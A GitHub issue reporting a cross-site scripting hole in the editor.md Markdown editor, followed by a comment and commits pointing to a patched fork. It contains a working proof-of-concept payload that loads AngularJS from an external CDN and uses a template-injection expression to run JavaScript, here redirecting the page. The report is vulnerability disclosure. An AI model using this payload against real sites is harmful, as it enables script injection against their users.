Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

XSS vulnerability found via <script> src attribute #700

Open
showuon opened this issue Jul 2, 2019 · 1 comment
Open

XSS vulnerability found via <script> src attribute #700

showuon opened this issue Jul 2, 2019 · 1 comment

Comments

@showuon
Copy link

showuon commented Jul 2, 2019

Test Environment:
Firefox Quantum 67.0.3/Chrome 75.0.3770.100/Safari 12.1.1

Description:
User can use <script> src attribute to include external library(ex: angularjs), and then, execute malicious javascript codes.

Reproduce steps

  1. go to https://pandao.github.io/editor.md/en.html or any open editor.md apps
  2. in the edit mode, input the following malicious codes
<script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.min.js> 
</script>
<div ng-app >
    {{constructor.constructor(&#34;window.location.replace(&#39;&#104;ttp://www.bing.com&#39;)&#34;)()}} 
</div>

Expected Results
No malicious javascript codes should be executed

Actual Results
The malicious codes are executed and page redirected to bing.com
(The PoC is to display alert, but it can be changed to window.location.replace() for page redirection
image

@alromh87
Copy link

alromh87 commented Sep 9, 2020

Can you try against this version please, also be sure the have the script filter enabled:
https://github.com/418sec/editor.md

alromh87 added a commit to alromh87/editor.md that referenced this issue Sep 10, 2020
fixes #pandao#612
fixes #pandao#662
fixes #pandao#697
fixes #pandao#700
fixes #pandao#701
fixes #pandao#709
fixes #pandao#715
fixes #pandao#764
fixes #pandao#816

### Probably:
fixes #pandao#307
fixes #pandao#560
alromh87 added a commit to alromh87/editor.md that referenced this issue Sep 10, 2020
fixes #pandao#612
fixes #pandao#662
fixes #pandao#697
fixes #pandao#700
fixes #pandao#701
fixes #pandao#709
fixes #pandao#715
fixes #pandao#764
fixes #pandao#816

fixes #pandao#307
fixes #pandao#560
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants